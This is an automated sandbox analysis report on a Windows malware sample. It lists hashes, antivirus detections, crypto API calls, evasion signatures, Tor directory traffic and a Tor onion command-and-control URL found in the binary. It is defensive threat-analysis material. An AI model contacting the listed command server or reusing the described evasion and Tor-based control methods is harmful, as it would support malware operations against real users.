Edit tour

Windows Analysis Report
SPXp2YHDFz.exe

Overview

General Information

Sample Name:	SPXp2YHDFz.exe
Analysis ID:	728981
MD5:	93cfe55bf738e084cd73bc7bf27aaaa8
SHA1:	277abda1d07f4f390d9dadce80be3c06b511a8e9
SHA256:	3edd12728fa881d1ab3193b7130f313dffe41a35ef5fb33df77331b96b594d6c
Tags:	185-25-51-202exe
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Found Tor onion address

Machine Learning detection for sample

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

SPXp2YHDFz.exe (PID: 3460 cmdline: C:\Users\user\Desktop\SPXp2YHDFz.exe MD5: 93CFE55BF738E084CD73BC7BF27AAAA8)

conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

SPXp2YHDFz.exe (PID: 5284 cmdline: "C:\Users\user\Desktop\SPXp2YHDFz.exe" MD5: 93CFE55BF738E084CD73BC7BF27AAAA8)

conhost.exe (PID: 5256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

SPXp2YHDFz.exe (PID: 3080 cmdline: "C:\Users\user\Desktop\SPXp2YHDFz.exe" MD5: 93CFE55BF738E084CD73BC7BF27AAAA8)

conhost.exe (PID: 1756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SPXp2YHDFz.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: SPXp2YHDFz.exe	ReversingLabs: Detection: 84%
Source: SPXp2YHDFz.exe	Virustotal: Detection: 67%	Perma Link
Source: SPXp2YHDFz.exe	Metadefender: Detection: 48%	Perma Link

Antivirus detection for URL or domain

Source: http://131.188.40.189/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware
Source: http://193.23.244.244/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: SPXp2YHDFz.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D788EE0 free,free,free,memcmp,free,free,CryptGenRandom,	0_2_00007FF61D788EE0
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78272C GetEnvironmentVariableA,LoadLibraryA,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,	0_2_00007FF61D78272C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78E7D0 free,free,free,CryptGenRandom,free,free,	0_2_00007FF61D78E7D0
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78BFE4 CryptDestroyKey,CryptDestroyKey,	0_2_00007FF61D78BFE4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78B808 CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,free,free,free,free,free,	0_2_00007FF61D78B808
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D781024 GetEnvironmentVariableA,LoadLibraryA,CryptAcquireContextA,CryptAcquireContextA,atexit,	0_2_00007FF61D781024
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D788738 CryptGenRandom,free,free,free,free,CryptGenRandom,inet_ntoa,inet_ntoa,	0_2_00007FF61D788738
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78CAD4 memmove,memmove,memmove,CryptImportKey,CryptDestroyKey,	0_2_00007FF61D78CAD4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D7864C0 CryptHashData,free,CryptDestroyHash,free,free,CryptHashData,free,CryptDestroyHash,free,free,	0_2_00007FF61D7864C0
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78BCD8 memmove,CryptEncrypt,	0_2_00007FF61D78BCD8
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78C444 CryptDestroyKey,	0_2_00007FF61D78C444
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D7873F0 CryptDestroyHash,CryptDestroyHash,CryptDestroyKey,CryptDestroyKey,free,	0_2_00007FF61D7873F0
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78BC04 CryptDecodeObject,CryptImportKey,	0_2_00007FF61D78BC04
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D787EE4 memmove,CryptImportKey,	0_2_00007FF61D787EE4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78C700 memset,CryptExportKey,	0_2_00007FF61D78C700
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78756C CryptDestroyKey,	0_2_00007FF61D78756C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D787D74 memmove,memmove,CryptEncrypt,	0_2_00007FF61D787D74
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D7825A4 CryptGenRandom,	0_2_00007FF61D7825A4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D788100 CryptDestroyKey,free,	0_2_00007FF61D788100
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D787128 CryptCreateHash,	0_2_00007FF61D787128
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D784934 CryptDestroyKey,	0_2_00007FF61D784934
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78776C CryptHashData,CryptHashData,CryptDestroyKey,CryptDestroyKey,	0_2_00007FF61D78776C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78BAFC CryptDestroyKey,	0_2_00007FF61D78BAFC
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D7879FC CryptHashData,CryptDuplicateHash,CryptDestroyHash,free,memmove,free,free,	0_2_00007FF61D7879FC
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78715C CryptDestroyHash,	0_2_00007FF61D78715C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78496C CryptDestroyKey,	0_2_00007FF61D78496C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D787188 CryptGetHashParam,	0_2_00007FF61D787188
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D784990 CryptDestroyKey,free,	0_2_00007FF61D784990
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D792CC4 CryptReleaseContext,CryptReleaseContext,	0_2_00007FF61D792CC4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D7824D8 CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00007FF61D7824D8
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D787CD8 memset,CryptSetKeyParam,	0_2_00007FF61D787CD8
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D7874EC CryptDestroyKey,	0_2_00007FF61D7874EC
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D792D08 BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,	0_2_00007FF61D792D08
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D78752C CryptDestroyKey,	0_2_00007FF61D78752C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D786C44 CryptHashData,CryptDestroyHash,	0_2_00007FF61D786C44
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D787C94 CryptDuplicateHash,	0_2_00007FF61D787C94
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF61D7823AC CryptBinaryToStringA,CryptBinaryToStringA,	0_2_00007FF61D7823AC

Source: SPXp2YHDFz.exe, 00000000.00000002.651764059.0000026813EF5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

Source: unknown	HTTPS traffic detected: 46.38.232.203:443 -> 192.168.2.3:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.210.85.178:443 -> 192.168.2.3:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 135.148.53.55:443 -> 192.168.2.3:49725 version: TLS 1.2

Source: SPXp2YHDFz.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Networking

Found Tor onion address

Source: SPXp2YHDFz.exe	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt
Source: SPXp2YHDFz.exe, 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt
Source: SPXp2YHDFz.exe, 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt%s
Source: SPXp2YHDFz.exe, 00000000.00000000.256649151.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt
Source: SPXp2YHDFz.exe, 00000000.00000000.256649151.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt%s
Source: SPXp2YHDFz.exe, 00000000.00000002.655300180.0000026814EB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt

Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/32828476f4f84e15c42b4c360a5cd8de4c3c2be7 HTTP/1.0Host: 194.5.96.70User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/df7868eaf856654e73e72f774bf3ce1fec5cb049 HTTP/1.0Host: 185.35.202.222User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825 HTTP/1.0Host: 92.222.79.186User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825 HTTP/1.0Host: 199.249.230.177User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775 HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0Host: 199.249.230.161User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775 HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775 HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0Host: 199.249.230.174User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1ec775024a7f2f4f46bfe1e7c587daacdc5204d5 HTTP/1.0Host: 51.77.109.21User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/5b9086d4bfb9ea36c95897daed72fc3973847b43 HTTP/1.0Host: 192.160.102.170User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0Host: 217.155.40.118User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064 HTTP/1.0Host: 199.249.230.160User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064 HTTP/1.0Host: 199.249.230.186User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b34cc9056250847d1980f08285b01cf0b718c0b6 HTTP/1.0Host: 74.208.203.175User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/43ad3376735b4a227920ad06d2d9b6970b3c75df HTTP/1.0Host: 199.249.230.179User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/43af24071b400911629d5bc9fc20de335f9dfc00 HTTP/1.0Host: 185.216.179.206User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/43ca065f629e92fec9a82788f332232625a52b8e HTTP/1.0Host: 94.131.2.71User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd HTTP/1.0Host: 176.9.75.110User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd HTTP/1.0Host: 199.249.230.184User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/215e661619cda14e354335f81c9a475f78f1cd8a HTTP/1.0Host: 185.189.112.162User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:

Source: global traffic	TCP traffic: 192.168.2.3:49689 -> 128.31.0.39:9131
Source: global traffic	TCP traffic: 192.168.2.3:49702 -> 104.131.11.214:8080
Source: global traffic	TCP traffic: 192.168.2.3:49705 -> 51.81.93.145:9001
Source: global traffic	TCP traffic: 192.168.2.3:49707 -> 195.60.166.2:9000
Source: global traffic	TCP traffic: 192.168.2.3:49712 -> 107.189.28.121:9001
Source: global traffic	TCP traffic: 192.168.2.3:49723 -> 135.125.202.252:9001
Source: global traffic	TCP traffic: 192.168.2.3:49726 -> 108.240.182.140:9990
Source: global traffic	TCP traffic: 192.168.2.3:49730 -> 108.20.210.121:9001

Source: unknown

Network traffic detected: IP country count 10

Source: Joe Sandbox View

JA3 fingerprint: c12f54a3f91dc7bafd92cb59fe009a35

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189
Source: unknown	TCP traffic detected without corresponding DNS query: 131.188.40.189

Source: SPXp2YHDFz.exe, SPXp2YHDFz.exe, 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000000.256649151.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000002.655300180.0000026814EB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt
Source: SPXp2YHDFz.exe, 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000000.256649151.00007FF61D793000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt%s

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Code function: 0_2_00007FF61D784314 recv,WSAGetLastError,

0_2_00007FF61D784314

Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/32828476f4f84e15c42b4c360a5cd8de4c3c2be7 HTTP/1.0Host: 194.5.96.70User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/df7868eaf856654e73e72f774bf3ce1fec5cb049 HTTP/1.0Host: 185.35.202.222User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825 HTTP/1.0Host: 92.222.79.186User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8ad97b051d47d3bb8529db7d857574269fd50825 HTTP/1.0Host: 199.249.230.177User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775 HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0Host: 199.249.230.161User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775 HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/33d6a3a8bd977723fd4c053151f78d852ac62775 HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0Host: 199.249.230.174User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1ec775024a7f2f4f46bfe1e7c587daacdc5204d5 HTTP/1.0Host: 51.77.109.21User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/5b9086d4bfb9ea36c95897daed72fc3973847b43 HTTP/1.0Host: 192.160.102.170User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0Host: 217.155.40.118User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064 HTTP/1.0Host: 199.249.230.160User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b340e3ba587e36462d8de44dae0f7cab6748f064 HTTP/1.0Host: 199.249.230.186User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b34cc9056250847d1980f08285b01cf0b718c0b6 HTTP/1.0Host: 74.208.203.175User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/43ad3376735b4a227920ad06d2d9b6970b3c75df HTTP/1.0Host: 199.249.230.179User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/43af24071b400911629d5bc9fc20de335f9dfc00 HTTP/1.0Host: 185.216.179.206User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/43ca065f629e92fec9a82788f332232625a52b8e HTTP/1.0Host: 94.131.2.71User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd HTTP/1.0Host: 176.9.75.110User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd HTTP/1.0Host: 199.249.230.184User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
